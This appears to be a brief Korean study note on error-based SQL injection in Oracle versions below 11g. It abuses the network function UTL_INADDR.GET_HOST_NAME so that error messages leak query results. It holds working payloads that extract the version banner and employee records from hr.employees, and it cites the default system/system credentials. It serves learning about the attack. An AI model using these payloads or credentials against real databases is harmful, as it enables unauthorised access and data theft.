Self-Improvement
Oracle Error SQLi 단일 열(Network 내장함수, Oracle 11g 미만) 본문
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다.
UTL_INADDR.GET_HOST_NAME
UTL_HTTP.REQUEST
Oracle 11g 이상에선 ACL 정책 강화로 DBA 외에는 실행이 차단되어
Network 내장함수는 관리자 계정만 사용이 가능하다.
system/system
[기본 형식]
> select UTL_INADDR.GET_HOST_NAME('127.0.0.1') from dual
문자열 쿼리를 주입하면 오류가 발생하지만 쿼리가 동작되어 출력이 이루어진다.
[버전 정보 출력]
> select UTL_INADDR.GET_HOST_NAME((select banner from v$version where rownum=1)) from dual
[데이터 정보]
> select UTL_INADDR.GET_HOST_NAME((select employee_id||','||first_name from(select rownum as rowidx, employee_id, first_name from hr.employees)t where rowidx=1)) from dual
시스템 계정으로 로그인 되어 있음으로 사용자 계정의 정보를 얻을라면 hr.employees로 해야한다.
<사용자>.<칼럼>